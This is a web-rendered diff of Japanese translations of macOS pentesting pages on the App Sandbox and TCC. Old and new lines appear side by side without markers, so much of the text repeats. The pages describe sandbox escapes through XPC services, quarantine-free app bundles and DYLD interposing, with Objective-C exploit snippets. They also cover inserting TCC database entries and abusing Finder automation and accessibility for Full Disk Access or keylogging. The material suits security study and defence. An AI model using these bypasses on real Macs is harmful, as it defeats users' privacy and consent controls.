その良い例が、**`_mpo_file_check_mmap`**関数で、これは**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックしそうでない場合は実行を許可、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**またはそのラッパーの1つを呼び出してさらなる許可チェックを実行します。
その良い例が、フックされた**`_mpo_file_check_mmap`**関数で、これは**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックしそうでない場合は実行を許可、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**またはそのラッパーの1つを呼び出してさらなる許可チェックを実行します。
さらに、サンドボックスが使用する数百のフックの中で、特に興味深い3つがあります。
- `mpo_proc_check_for`: 必要に応じてプロファイルを適用し、以前に適用されていな場合。
- `mpo_proc_check_for`: 必要に応じてプロファイルを適用し、以前に適用されていなかった場合。
- `mpo_vnode_check_exec`: プロセスが関連するバイナリをロードするときに呼び出され、プロファイルチェックとSUID/SGID実行を禁止するチェックが行われます。
- `mpo_cred_label_update_execve`: ラベルが割り当てられるときに呼び出されます。これは、バイナリが完全にロードされるがまだ実行されていないときに呼び出されるため、最も長いものです。サンドボックスオブジェクトの作成、kauth資格情報へのサンドボックス構造の添付、machポートへのアクセスの削除などのアクションを実行します。
**`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、次に**`eval`**関数を使用して評価を実行します。この関数は通常、すべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**を評価し、その後**特定のプロセスプロファイル**を評価します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つで
**`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、次に**`eval`**関数を使用して評価を実行します。この関数は通常、すべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**を評価し、その後**特定のプロセスプロファイル**を評価します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つであることに注意してください
## Sandboxd
サンドボックスには、XPC Machサービス`com.apple.sandboxd`を公開し、カーネル拡張が通信に使用する特別なポート14`HOST_SEATBELT_PORT`をバインドするユーザーデーモンもあります。MIGを使用していくつかの関数を公開します。
サンドボックスには、XPC Machサービス`com.apple.sandboxd`を公開し、カーネル拡張が通信に使用する特別なポート14`HOST_SEATBELT_PORT`をバインドするユーザーデーモンもあります。MIGを使用していくつかの関数を公開しています。
## References

View File

@ -6,29 +6,29 @@
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
前の画像では、**アプリケーションが権限** **`com.apple.security.app-sandbox`** **を持っている場合、サンドボックスがどのように読み込まれるか**を観察できます。
前の画像では、**`com.apple.security.app-sandbox`** の権限を持つアプリケーションが実行されるときに**サンドボックスがどのようにロードされるか**を観察できます。
コンパイラはバイナリに`/usr/lib/libSystem.B.dylib`をリンクします。
コンパイラはバイナリに `/usr/lib/libSystem.B.dylib` をリンクします。
次に、**`libSystem.B`**は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`**がアプリの権限を**`securityd`**に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離します。\
最後に、サンドボックスは**`__sandbox_ms`**への呼び出しでアクティブ化され、**`__mac_syscall`**が呼び出されます。
その後、**`libSystem.B`** は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`** がアプリの権限を **`securityd`** に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離します。\
最後に、サンドボックスは **`__sandbox_ms`** への呼び出しによってアクティブ化され、これが **`__mac_syscall`** を呼び出します。
## Possible Bypasses
### Bypassing quarantine attribute
**サンドボックス化されたプロセスによって作成されたファイル**には、サンドボックスからの脱出を防ぐために**隔離属性**が追加されます。しかし、もしあなたが**隔離属性なしで`.app`フォルダを作成することができれば**、アプリバンドルのバイナリを**`/bin/bash`**にポイントさせ、**plist**にいくつかの環境変数を追加して**`open`**を悪用し、**新しいアプリをサンドボックスなしで起動**することができます。
**サンドボックス化されたプロセスによって作成されたファイル** には、サンドボックスからの脱出を防ぐために**隔離属性**が追加されます。しかし、もしあなたが**隔離属性なしで `.app` フォルダを作成することができれば**、アプリバンドルのバイナリを **`/bin/bash`** にポイントさせ、**plist** にいくつかの環境変数を追加して **`open`** を悪用し、**新しいアプリをサンドボックスなしで起動する**ことができます。
これは[**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**で行われました。**
これは [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** で行われたことです。**
> [!CAUTION]
> したがって、現時点では、**隔離属性なしで`.app`**で終わる名前のフォルダを作成できる場合、サンドボックスから脱出できます。なぜなら、macOSは**`.app`フォルダ**と**メイン実行可能ファイル**の**隔離**属性のみを**チェック**するからです(そして、私たちはメイン実行可能ファイルを**`/bin/bash`**にポイントさせます)。
> したがって、現時点では、**隔離属性なしで `.app`** で終わる名前のフォルダを作成できる場合、サンドボックスから脱出できます。なぜなら、macOSは**`.app` フォルダ**と**メイン実行可能ファイル**の**隔離**属性のみを**チェック**するからです(そして、私たちはメイン実行可能ファイルを **`/bin/bash`** にポイントさせます)。
>
> すでに実行を許可された.appバンドル実行を許可するフラグが付いた隔離xttrを持つも悪用できます... ただし、今は**`.app`**バンドル内に書き込むことはできません。特権TCC権限がない限りサンドボックス内では持っていません)。
> すでに実行を許可された .app バンドル(実行を許可されたフラグが付いた隔離属性を持つ)についても悪用できる可能性があります... ただし、今は**`.app`** バンドル内に書き込むことはできません。なぜなら、サンドボックス内では特権TCC権限を持っていないからです高いサンドボックス内では持っていません)。
### Abusing Open functionality
[**Wordサンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv)では、**`open`** CLI機能がサンドボックスをバイパスするために悪用される様子が確認できます。
[**Wordサンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv)では、**`open`** CLI機能がサンドボックスをバイパスするためにどのように悪用されるかが示されています。
{{#ref}}
macos-office-sandbox-bypasses.md
@ -36,16 +36,16 @@ macos-office-sandbox-bypasses.md
### Launch Agents/Daemons
アプリケーションが**サンドボックス化されることを意図している**`com.apple.security.app-sandbox`)場合でも、例えば**LaunchAgent**`~/Library/LaunchAgents`から実行される場合、サンドボックスをバイパスすることが可能です。\
アプリケーションが**サンドボックス化されることを意図している** (`com.apple.security.app-sandbox`)場合でも、例えば**LaunchAgent** (`~/Library/LaunchAgents`)から実行される場合、サンドボックスをバイパスすることが可能です。\
[**この投稿**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgentとして自動的に実行されるようにし、DyLib環境変数を介して悪意のあるコードを注入することができます。
### Abusing Auto Start Locations
サンドボックス化されたプロセスが**後にサンドボックスなしで実行されるアプリケーションがバイナリを実行する場所に**書き込むことができれば、**そこにバイナリを置くだけで脱出**できます。この種の場所の良い例は`~/Library/LaunchAgents``/System/Library/LaunchDaemons`です。
サンドボックス化されたプロセスが**書き込むことができる場所**に**後でサンドボックスなしのアプリケーションがバイナリを実行する**場合、そこにバイナリを配置するだけで**脱出**できます。この種の場所の良い例は `~/Library/LaunchAgents` `/System/Library/LaunchDaemons` です。
これには**2ステップ**が必要な場合があります:**より許可されたサンドボックス**`file-read*``file-write*`)を持つプロセスを作成し、そのプロセスが実際に**サンドボックスなしで実行される場所に書き込む**コードを実行します。
これには**2ステップ**が必要な場合があります:**より許可されたサンドボックス** (`file-read*`, `file-write*`)を持つプロセスを実行して、実際に**サンドボックスなしで実行される場所に書き込む**コードを実行します。
**Auto Start locations**についてこのページを確認してください:
**Auto Start locations**についてこのページを確認してください:
{{#ref}}
../../../../macos-auto-start-locations.md
@ -53,7 +53,7 @@ macos-office-sandbox-bypasses.md
### Abusing other processes
サンドボックスプロセスから、**制限の少ない(または全くない)他のプロセスを妥協**できれば、それらのサンドボックスに脱出することができます:
サンドボックスプロセスから、**制限の少ない(または全くない)他のプロセスを妥協する**ことができれば、それらのサンドボックスに脱出することができます:
{{#ref}}
../../../macos-proces-abuse/
@ -61,11 +61,11 @@ macos-office-sandbox-bypasses.md
### Available System and User Mach services
サンドボックスは、プロファイル`application.sb`で定義された特定の**Machサービス**と通信することも許可します。これらのサービスの1つを**悪用**できれば、**サンドボックスから脱出**できるかもしれません。
サンドボックスは、プロファイル `application.sb` で定義された特定の**Machサービス**と通信することも許可します。これらのサービスの1つを**悪用**できれば、**サンドボックスから脱出**できるかもしれません。
[この書き込み](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)で示されているように、Machサービスに関する情報は`/System/Library/xpc/launchd.plist`に保存されています。`<string>System</string>`および`<string>User</string>`をそのファイル内で検索することで、すべてのシステムおよびユーザMachサービスを見つけることができます。
[この書き込み](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)で示されているように、Machサービスに関する情報は `/System/Library/xpc/launchd.plist` に保存されています。`<string>System</string>``<string>User</string>` をそのファイル内で検索することで、すべてのシステムおよびユーザMachサービスを見つけることができます。
さらに、`bootstrap_look_up`を呼び出すことで、サンドボックス化されたアプリケーションに利用可能なMachサービスがあるかどうかを確認できます。
さらに、`bootstrap_look_up` を呼び出すことで、サンドボックス化されたアプリケーションに利用可能なMachサービスを確認することができます。
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
@ -90,7 +90,7 @@ checkService(serviceName.UTF8String);
```
### 利用可能なPID Machサービス
これらのMachサービスは、最初にこの[サンドボックスからの脱出に利用されました](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。その時点で、**アプリケーションとそのフレームワークによって必要とされるすべてのXPCサービス**アプリのPIDドメイン内で表示されていましたこれらは`ServiceType``Application`のMachサービスです
これらのMachサービスは、最初に[この文書でサンドボックスから脱出するために悪用されました](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。その時点で、**アプリケーションとそのフレームワークによって必要とされるすべてのXPCサービス**は、アプリのPIDドメイン内で表示されていましたこれらは`ServiceType``Application`のMachサービスです
**PIDドメインXPCサービスに連絡するためには**、アプリ内で次のような行を使って登録するだけで済みます:
```objectivec
@ -98,12 +98,12 @@ checkService(serviceName.UTF8String);
```
さらに、`System/Library/xpc/launchd.plist` 内で `<string>Application</string>` を検索することで、すべての **Application** Mach サービスを見つけることができます。
有効な xpc サービスを見つける別の方法は、次の場所を確認することです
有効な xpc サービスを見つける別の方法は、次の場所を確認することです:
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
この技術を悪用したいくつかの例は[**元のレポート**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)に見つけることができますが、以下は要約された例です。
この技術を悪用したいくつかの例は[**元の解説**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)に見つけることができますが、以下は要約された例です。
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
@ -132,7 +132,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
このXPCサービスは、常にYESを返すことで、すべてのクライアントを許可し、メソッド`createZipAtPath:hourThreshold:withReply:`は、圧縮するフォルダのパスを指定することを基本的に許可しました。そして、それはZIPファイルに圧縮されます。
したがって、偽のアプリフォルダ構造を生成し、それを圧縮し、次に解凍して実行することで、サンドボックスを脱出することが可能です。新しいファイルには検疫属性がないためです。
したがって、偽のアプリフォルダ構造を生成し、それを圧縮し、次に解凍して実行することで、サンドボックスを脱出することが可能です。新しいファイルには検疫属性が付与されないためです。
エクスプロイトは:
```objectivec
@ -173,7 +173,7 @@ break;
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
このXPCサービスは、`extendAccessToURL:completion:`メソッドを介して、任意のURLに対する読み取りおよび書き込みアクセスをXPCクライアントに提供することを可能にします。このXPCサービスにはFDAがあるため、これらの権限を悪用してTCCを完全にバイパスすることが可能です。
このXPCサービスは、`extendAccessToURL:completion:`メソッドを介してXPCクライアントに任意のURLへの読み取りおよび書き込みアクセスを提供することを可能にします。このXPCサービスにはFDAがあるため、これらの権限を悪用してTCCを完全にバイパスすることが可能です。
エクスプロイトは:
```objectivec
@ -203,23 +203,23 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}];
}
```
### 静的コンパイルと動的リンク
### Static Compiling & Dynamically linking
[**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、Sandboxをバイパスする2つの方法が発見されました。Sandboxは、**libSystem**ライブラリがロードされるときにユーザーランドから適用されます。バイナリがそれをロードしないことができれば、Sandboxに入ることはありません
- バイナリが**完全に静的にコンパイルされている**場合、そのライブラリをロードせずに済みます。
- **バイナリがライブラリをロードする必要がない**場合リンカーもlibSystemにあるため、libSystemをロードする必要はありません。
### シェルコード
### Shellcodes
**シェルコード**であっても、ARM64では`libSystem.dylib`にリンクする必要があることに注意してください:
**シェルコード**はARM64でも`libSystem.dylib`にリンクする必要があることに注意してください:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### 継承されない制限
**[この書き込みのボーナス](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** で説明されているように、サンドボックスの制限は次のようになります
**[この書き込みのボーナス](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** で説明されているように、サンドボックスの制限は次のようになります:
```
(version 1)
(allow default)
@ -248,13 +248,14 @@ open /tmp/poc.app
```
### インターポスティングバイパス
**インターポスティング**に関する詳細は以下を参照してください:
**インターポスティング**に関する詳細情報は以下を参照してください:
{{#ref}}
../../../macos-proces-abuse/macos-function-hooking.md
{{#endref}}
#### サンドボックスを防ぐために `_libsecinit_initializer` をインターポストする
#### サンドボックスを防ぐために`_libsecinit_initializer`をインターポストする
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
@ -278,7 +279,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interpost `__mac_syscall` サンドボックスを防ぐ
#### Interpost `__mac_syscall` を使用してサンドボックスを防ぐ
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
@ -322,7 +323,7 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### lldbを使用したSandboxのデバッグとバイパス
### Debug & bypass Sandbox with lldb
サンドボックス化されるべきアプリケーションをコンパイルしましょう:
@ -361,7 +362,7 @@ system("cat ~/Desktop/del.txt");
{{#endtab}}
{{#endtabs}}
次にアプリをコンパイルします
次にアプリをコンパイルします:
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
@ -372,14 +373,14 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli
codesign -s <cert-name> --entitlements entitlements.xml sand
```
> [!CAUTION]
> アプリは **`~/Desktop/del.txt`** ファイルを**読み取ろうとします**が、**Sandboxはそれを許可しません**。\
> Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください
> アプリは **`~/Desktop/del.txt`** ファイルを **Sandboxが許可しない** 状態で **読み取ろう** とします。\
> Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください:
>
> ```bash
> echo "Sandbox Bypassed" > ~/Desktop/del.txt
> ```
アプリケーションをデバッグして、Sandboxがいつ読み込まれるかを見てみましょう:
アプリケーションをデバッグして、Sandboxがいつロードされるかを見てみましょう:
```bash
# Load app in debugging
lldb ./sand

View File

@ -6,15 +6,15 @@
**TCC (透明性、同意、制御)** は、アプリケーションの権限を規制することに焦点を当てたセキュリティプロトコルです。その主な役割は、**位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーとユーザーのデータに対する制御を強化します。
ユーザーは、アプリケーションが保護された機能へのアクセスを要求する際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを通じて表示されます。さらに、TCCは、特定のファイルへのアクセスを許可するために、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、アプリケーションが明示的に許可されたものにのみアクセスできるようにします。
ユーザーは、アプリケーションが保護された機能へのアクセスを要求する際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを通じて表示されます。さらに、TCCは、特定のファイルへのアクセスを許可するために、**アプリケーションにファイルをドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、アプリケーションが明示的に許可されたものにのみアクセスできるようにします。
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されていますmachサービス`com.apple.tccd.system`を登録)。
ログインしている各ユーザーごとに実行される**ユーザーモードのtccd**があり、`/System/Library/LaunchAgents/com.apple.tccd.plist`で定義され、machサービス`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
ログインしている各ユーザーごとに実行される**ユーザーモードのtccd**があり、`/System/Library/LaunchAgents/com.apple.tccd.plist`で定義され、machサービス`com.apple.tccd``com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
ここでは、tccdがシステムとしておよびユーザーとして実行されている様子を確認できます:
ここでは、tccdがシステムとしておよびユーザーとして実行されている様子を見ることができます:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
@ -22,30 +22,30 @@ ps -ef | grep tcc
```
Permissions are **親**アプリケーションから**継承**され、**権限**は**バンドルID**と**開発者ID**に基づいて**追跡**されます。
### TCCデータベース
### TCC データベース
許可/拒否は、いくつかのTCCデータベースに保存されます
許可/拒否は、いくつかの TCC データベースに保存されます:
- **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース
- システム全体のデータベースは **`/Library/Application Support/com.apple.TCC/TCC.db`** にあります
- このデータベースは**SIP保護**されているため、SIPバイパスのみが書き込むことができます。
- ユーザーTCCデータベースは、ユーザーごとの設定用の**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**です。
- このデータベースは保護されているため、フルディスクアクセスのような高いTCC権限を持つプロセスのみが書き込むことができますただし、SIPによって保護されていません
- ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** は、ユーザーごとの設定用です。
- このデータベースは保護されているため、フルディスクアクセスのような高い TCC 権限を持つプロセスのみが書き込むことができますただし、SIP によって保護されているわけではありません)。
> [!WARNING]
> 前述のデータベースは、**読み取りアクセスのためにTCC保護**されています。したがって、**TCC特権プロセス**からでない限り、通常のユーザーTCCデータベースを**読み取ることはできません**。
> 前述のデータベースは、**読み取りアクセスのために TCC 保護**されています。したがって、**TCC 権限のあるプロセス**からでない限り、通常のユーザー TCC データベースを**読み取ることはできません**。
>
> ただし、これらの高い権限を持つプロセス(**FDA**や**`kTCCServiceEndpointSecurityClient`**などは、ユーザーのTCCデータベースに書き込むことができます。
> ただし、これらの高い権限を持つプロセス(**FDA** または **`kTCCServiceEndpointSecurityClient`** など)は、ユーザーの TCC データベースに書き込むことができます。
- **`/var/db/locationd/clients.plist`** にある**第三の**TCCデータベースは、**位置情報サービス**にアクセスを許可されたクライアントを示します。
- SIP保護されたファイル**`/Users/carlospolop/Downloads/REG.db`**TCCによる読み取りアクセスからも保護されていますは、すべての**有効なTCCデータベース**の**位置**を含んでいます。
- SIP保護されたファイル**`/Users/carlospolop/Downloads/MDMOverrides.plist`**TCCによる読み取りアクセスからも保護されていますは、さらに多くのTCC付与された権限を含んでいます。
- SIP保護されたファイル**`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**誰でも読み取れるは、TCC例外を必要とするアプリケーションの許可リストです。
- **`/var/db/locationd/clients.plist`** に**第三の** TCC データベースがあり、**位置情報サービス**にアクセスを許可されたクライアントを示します。
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**TCC による読み取りアクセスからも保護されています)は、すべての**有効な TCC データベース**の**位置**を含んでいます。
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**TCC による読み取りアクセスからも保護されています)は、さらに多くの TCC 許可された権限を含んでいます。
- SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**誰でも読み取れるは、TCC 例外を必要とするアプリケーションの許可リストです。
> [!TIP]
> **iOS**のTCCデータベースは**`/private/var/mobile/Library/TCC/TCC.db`**にあります。
> **iOS** TCC データベースは **`/private/var/mobile/Library/TCC/TCC.db`** にあります。
> [!NOTE]
> **通知センターUI**は、**システムTCCデータベース**に**変更**を加えることができます:
> [!TIP]
> **通知センター UI** は、**システム TCC データベース**に**変更**を加えることができます:
>
> ```bash
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
@ -54,7 +54,7 @@ Permissions are **親**アプリケーションから**継承**され、**権限
> com.apple.rootless.storage.TCC
> ```
>
> ただし、ユーザーは**`tccutil`**コマンドラインユーティリティを使用して**ルールを削除または照会**できます。
> ただし、ユーザーは **`tccutil`** コマンドラインユーティリティを使用して**ルールを削除または照会**できます。
#### データベースの照会
@ -104,8 +104,8 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
> [!TIP]
> 両方のデータベースを確認することで、アプリが許可した、禁止した、または持っていない権限を確認できます(要求されます)。
- **`service`** は TCC **permission** の文字列表現です
- **`client`** は **bundle ID** または権限を持つ **バイナリへのパス** です
- **`service`** は TCC **権限** の文字列表現です
- **`client`** は **バンドル ID** または権限を持つ **バイナリへのパス** です
- **`client_type`** は、それがバンドル識別子(0)か絶対パス(1)かを示します
<details>
@ -153,7 +153,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
- **`auth_value`** は異なる値を持つことができます: denied(0), unknown(1), allowed(2), または limited(3)。
- **`auth_reason`** は次の値を取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- **csreq** フィールドは、実行するバイナリを検証し、TCC権限を付与する方法を示すためにあります:
- **csreq** フィールドは、実行するバイナリを検証し、TCC 権限を付与する方法を示すためにあります:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -169,9 +169,9 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
- その他のフィールドに関する詳細は、[**このブログ記事**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)を確認してください
- その他のフィールドに関する詳細は、[**このブログ記事を確認してください**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`で、アプリに**すでに与えられた権限**を確認することもできます。
`System Preferences --> Security & Privacy --> Privacy --> Files and Folders` でアプリに**既に与えられた権限**を確認することもできます。
> [!TIP]
> ユーザーは**`tccutil`**を使用して**ルールを削除またはクエリ**することができます。
@ -206,7 +206,7 @@ csreq -t -r /tmp/telegram_csreq.bin
アプリは**リクエスト**を行い、いくつかのリソースへの**アクセスを許可される**だけでなく、**関連する権限を持っている必要があります**。\
例えば、**Telegram**はカメラへの**アクセスをリクエストするために**`com.apple.security.device.camera`という権限を持っています。**この権限を持たないアプリは**カメラにアクセスできません(ユーザーに権限を求めることすらありません)。
ただし、アプリが`~/Desktop``~/Downloads``~/Documents`などの**特定のユーザーフォルダにアクセスするためには、特別な**権限を持つ必要はありません。システムはアクセスを透過的に処理し、必要に応じて**ユーザーにプロンプトを表示します**。
ただし、アプリが`~/Desktop``~/Downloads``~/Documents`などの**特定のユーザーフォルダにアクセスするためには、特定の**権限を持つ必要はありません。システムはアクセスを透過的に処理し、必要に応じて**ユーザーにプロンプトを表示します**。
Appleのアプリは**プロンプトを生成しません**。それらは**権限**リストに**事前に付与された権利**を含んでおり、つまり**ポップアップを生成することは決してなく**、**TCCデータベース**にも表示されません。例えば:
```bash
@ -222,7 +222,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレスブックへのアクセスを求めることを避けることができます。
> [!TIP]
> 権限に関する公式文書の他に、**非公式の興味深い情報を見つけることも可能です** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
> 権限に関する公式文書の他に、**非公式の興味深い情報** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) で見つけることも可能です。
いくつかのTCC権限は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです。すべてを定義する公開リストはありませんが、この[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認できます。
@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
### ユーザーの意図 / com.apple.macl
前述のように、**ファイルにアクセスを許可するためにアプリにドラッグ&ドロップすることが可能です**。このアクセスは、いかなるTCCデータベースにも指定されませんが、**ファイルの拡張属性**として保存されます。この属性は、許可されたアプリの**UUID**を**保存します**。
前述のように、**ファイルにアプリへのアクセスを付与するためにドラッグ&ドロップすることが可能です**。このアクセスは、いかなるTCCデータベースにも指定されませんが、**ファイルの拡張属性**として保存されます。この属性は、許可されたアプリの**UUID**を**保存します**。
```bash
xattr Desktop/private.txt
com.apple.macl
@ -249,18 +249,18 @@ Filename,Header,App UUID
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
> [!NOTE]
> [!TIP]
> **`com.apple.macl`** 属性は **Sandbox** によって管理されており、tccd ではありません。
>
> また、コンピュータ内のアプリの UUID を許可するファイルを別のコンピュータに移動すると、同じアプリが異なる UID を持つため、そのアプリへのアクセスは許可されません。
拡張属性 `com.apple.macl` **SIP によって保護されているため**、他の拡張属性のように **クリアすることはできません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを **圧縮** し、**削除** し、**解凍** することで無効にすることが可能です。
拡張属性 `com.apple.macl` **は他の拡張属性のようにクリアできません**。なぜなら、**SIP によって保護されているからです**。しかし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを **圧縮** し、**削除** し、**解凍** することで無効にすることが可能です。
## TCC Privesc & Bypasses
### TCC への挿入
もし、TCC データベースに対して書き込みアクセスを取得できた場合、以下のようなものを使用してエントリを追加できます(コメントを削除してください):
もし、ある時点で TCC データベースに対して書き込みアクセスを取得できた場合、以下のようなものを使用してエントリを追加できます(コメントを削除してください):
<details>
@ -316,7 +316,7 @@ macos-tcc-payloads.md
### Apple Events
Apple Eventsについては、以下を参照してください
Apple Eventsについて学ぶ
{{#ref}}
macos-apple-events.md
@ -361,7 +361,7 @@ EOD
これを悪用して**独自のユーザーTCCデータベースを作成する**ことができます。
> [!WARNING]
> この権限を持つことで、**FinderにTCC制限フォルダーへのアクセスを要求し**、ファイルを取得することができますが、私の知る限り、**Finderに任意のコードを実行させることはできません**。そのため、FDAアクセスを完全に悪用することはできません。
> この権限を持つことで、**FinderにTCC制限フォルダーへのアクセスを要求し**、ファイルを取得することができますが、私の知る限り、**Finderに任意のコードを実行させることはできません**。そのため、完全にFDAアクセスを悪用することはできません。
>
> したがって、完全なFDA機能を悪用することはできません。
@ -444,7 +444,7 @@ rm "$HOME/Desktop/file"
```
### Automation (SE) + Accessibility (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\*
**`System Events`**上のAutomation + Accessibility (**`kTCCServicePostEvent`**) は、**プロセスにキーストロークを送信する**ことを可能にします。この方法で、Finderを悪用してユーザーのTCC.dbを変更したり、任意のアプリにFDAを付与したりすることができますただし、これにはパスワードの入力が求められる場合があります)。
**`System Events`**上のAutomation + Accessibility (**`kTCCServicePostEvent`**) は、**プロセスにキーストロークを送信する**ことを可能にします。この方法で、Finderを悪用してユーザーのTCC.dbを変更したり、任意のアプリにFDAを付与したりすることができますただし、そのためにパスワードの入力が求められる場合があります)。
FinderがユーザーのTCC.dbを上書きする例:
```applescript
@ -494,39 +494,39 @@ EOF
```
### `kTCCServiceAccessibility` to FDA\*
このページで、**アクセシビリティ権限を悪用するためのペイロード**を確認してください [**payloads to abuse the Accessibility permissions**](macos-tcc-payloads.md#accessibility) FDA\* への特権昇格や、例えばキーロガーを実行するために。
このページで、**アクセシビリティ権限を悪用するためのペイロード**を確認してくださいmacos-tcc-payloads.md#accessibilityFDA\*に昇格するか、例えばキーロガーを実行するために。
